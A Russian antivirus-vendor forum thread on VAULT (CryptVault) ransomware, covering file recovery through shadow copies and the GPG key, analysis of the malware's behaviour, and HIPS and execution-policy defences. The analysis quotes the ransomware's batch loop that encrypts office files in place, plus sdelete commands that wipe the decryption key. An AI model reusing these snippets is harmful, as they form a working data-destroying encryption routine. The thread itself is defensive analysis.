Уважаемые пользователи!

Поставщик ИТ-решений PRO32 сообщает вам, что после 17 лет сотрудничества мы более не являемся эксклюзивным дистрибьютором программных продуктов словацкого разработчика ESET в России, Республике Беларусь, Казахстане, Азербайджане, Узбекистане, Кыргызстане, Таджикистане, Туркменистане, Молдове, Грузии и Армении.

Купить и продлить лицензии ESET на нашем сайте больше нельзя.

Предлагаем вам попробовать новый антивирус от компании PRO32.

Продукты PRO32 — это технологичные решения, надежная защита от киберугроз и максимальная производительность устройств на Windows / Android.

Для действующих клиентов ESET мы предлагаем промокод на скидку в размере 15% — ESET15. Скопируйте его и после добавления товара в корзину, не забудьте его применить в корзине.

[ Закрыто ] VAULT. что делать? , bat encoder / CryptVault

RSS


Если вам необходимо восстановить документы зашифрованные VAULT, выполните следующие действия:

1. проверьте наличие теневых копий на дисках, если есть чистые теневые копии, восстановить документы можно без расшифровки.
Используйте для работы с теневыми копиями ShadowExplorer

если теневые копии отсутствуют, возможно были отключены шифратором, восстановите (на будущее) через настройки защиты дисков резервирование
пространства в 5-10% под теневые копии.

2. если теневые и архивные копии отсутствуют, вы можете попытаться самостоятельно выполнить расшифровку документов.
для этого необходимо найти файл secring.gpg.
secring.gpg(sec key) здесь нужен не любой, не найденный по дороге домой из сетевого форума, а созданный на вашей машине (как правило в %TEMP%
юзера) в момент запуска процесса шифрования. Хотя вероятность успешного поиска secring.gpg невелика, поскольку шифратор тщательно затирает
данный ключ с помощью утилиты sdelete.exe.

Цитата
"%temp%\sdelete.exe" /accepteula -p 4 -q "%temp%\secring.gpg"
"%temp%\sdelete.exe" /accepteula -p 4 -q "%temp%\vaultkey.vlt"
"%temp%\sdelete.exe" /accepteula -p 4 -q "%temp%\confclean.list"
Повторный запуск шифратора с целью получения этого ключа не поможет. ключ будет создан уже с другим отпечатком и ID, и для расшифровки ваших документов
не подойдет. пробуйте искать данный ключ среди удаленных файлов, но обязательно ненулевого размера. ~1Кб.

что делает шифратор с исходными файлами:
Код
dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do (
echo "%%TeMp%%\svchost.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& rename "%%i" "%%~nxi.vault">> "%temp%\cryptlist.lst"
echo %%i>> "%temp%\conf.list"
)

после шифрования к примеру файла 1.doc рядом с ним создается зашифрованный файл 1.doc.gpg, затем зашифрованный 1.doc.gpg перемещается на место исходного_чистого с новым именем 1.doc,
и только затем переименовывается в 1.doc.vault.
т.о. исходный файл не удаляется, а перезаписывается зашифрованным документом с целью невозможности его восстановления.
-------
Добавим,  что злоумышленники после завершения шифрования оставляют на диске файлы  VAULT.KEY и CONFIRMATION.KEY. Первый содержит экспортированный secring.gpg,
но зашифрованный с помощью pub key злоумышленников, поэтому  расшифровать его на нашей стороне невозможно.
В CONFIRMATION.KEY содержится полный список зашифрованных файлов. Оба эти файла оставлены на диске в качестве жеста "доброй, но и злой" воли
с  целью "протянуть руку товарищеской, но платной помощи" пострадавшему юзеру.
--------
если sec key найден, вы можете установить GnuPG и GPGShell и проверить возможность расшифровки.

скачайте отсюда и установите GnuPG
+
отсюда можно скачать GPGShell

В GPGShell удобно (из контекстного меню) выполнять различные действия над файлами и ключами.
+
После установки в каталоге так же можно найти подробный мануал (gpg.man) по консольным командам в GnuPG.
-----------

как можно избежать встречи с VAULT?
1. будьте предельно внимательны при работе с почтой.
если вложенный в сообщение или добавленный по ссылке архив содержит исполняемые файлы *.exe, *.com, *.pif, *.js, *.cmd, *.scr, *.bat, то такой документ никак не может быть офисным документом.
Значит вас вводят в заблуждение, выдавая черное за белое.
2. настройте самостоятельно или попросите админа настроить политики ограниченного запуска исполняемых программ из вложенных архивов.
например:
Цитата
%userprofile%\Local Settings\Temp\_tc\*.js
%userprofile%\Appdata\Local\Temp\_tc\*.js
3. Пробуйте с помощью HIPS запретить запись в файл %TEMP%\pubring.gpg.
в любом случае, в данной модификации энкодера (если он использует GnuPG) после скачивания и запуска утилита gpg.exe (которая может быть переименована и упакована как угодно) вначале будет создавать ключевую
пару pubring.gpg/secring.gpg, а затем уже - шифровать ваши данные с помощью созданных ключей.

4. Если предварительно положить (и защитить от изменения) известный вам ключ pubring.gpg, то в этом случае
шифрование состоится, но известным ключом. Или не состоится.

(с), chklst.ru

Ответы

Пред. 1 ... 6 7 8 9 10
Цитата
Andrew Komissarov написал:
Кстати, до меня недавно дошло, что через HIPS очень удобно папки с бэкапами защищать.
Одно правило запрещает для этой папки запись и удаление,
а второе разрешает это программе, которая делает бэкап.
вот если бы это правило еще работало для сетевых папок, тогда это было бы крайне полезным.
(поскольку, как правило, именно на сетевых папках (файлового сервера) хранятся рабочие документы сотрудников.)
пока что данное правило (для сетевых папок) работает в Endpoint 5 и на удивление, не работает в Endpoint 6
Цитата
santy написал:
Цитата
Andrew Komissarov   написал:
Кстати, до меня недавно дошло, что через HIPS очень удобно папки с бэкапами защищать.
Одно правило запрещает для этой папки запись и удаление,
а второе разрешает это программе, которая делает бэкап.
вот если бы это правило еще работало для сетевых папок, тогда это было бы крайне полезным.
(поскольку, как правило, именно на сетевых папках (файлового сервера) хранятся рабочие документы сотрудников.)
пока что данное правило (для сетевых папок) работает в Endpoint 5 и на удивление, не работает в Endpoint 6
Надо разработчиков подергать, тут вам флаг в руки.
Но вы видимо имеете в виду защиту рабочих файлов.
Я то писал конкретно про бэкапы на файловом сервере. Не всегда есть возможность хранить их на сьемных дисках.
Цитата
Andrew Komissarov написал:
Я то писал конкретно про бэкапы на файловом сервере. Не всегда есть возможность хранить их на сьемных дисках.
здесь согласен.
+
конечно нельзя допускать, чтобы шифратор был запущен на сервере,
и нельзя чтобы к этим папкам был доступ у обычных юзеров. тогда и шифратор (запустившись на компе юзера) не дотянется до этих папок с бэкапами.
Я имел в виду вот такие два правила. Думаю по скрину понятно:

да, правила понятны
использую подобную пару в том числе для защиты сетевых папок.
запрещаю всем, и разрешаю доступ к сетевым папкам или дискам для доверенных приложений.
\\files\users\user_nnn\*.*
или
\\files\groups\group_nn\*.*
это работает в ендпойнте 5.

по бэкапам можно добавить (к защите данной папки в ESET), что на папку f:\backup права записи и удаления должны быть только у учетной записи, под которой запускается задача архивирования.
Вчера позвонил один старый клиент. Поймали vault.
Причем он ясно видел, что расширение файла .js но у него даже сомнения не возникло, что его можно открывать.
Уже после, он почитал форумы и набрался информации.

Странно вот что. Зашифровались практически только вордовские и экселевские файлы.
Ни базы 1c, ни картинки, ни pdf, ни архивы не тронуты.
Причем вирус похоже отработал до конца, поскольку MSE начал ругаться на vault.hta
И шифрование никак не прерывали, поскольку просто не понимали, что происходит.
Насколько я помню, раньше шифровалось все.

Это новая тенденция такая у vault-а или им просто почему-то повезло?

P.S. Теневые копии разумеется удалились. Но у них был двухнедельной давности бэкап на внешнем диске. Так что все закончилось не очень плохо.
Цитата
Andrew Komissarov написал:
Странно вот что. Зашифровались практически только вордовские и экселевские файлы.
вчера действительно была рассылка ВАУЛТ-а, возможно что так и есть, что зашифрованы были только офисные документы.
Пред. 1 ... 6 7 8 9 10
Читают тему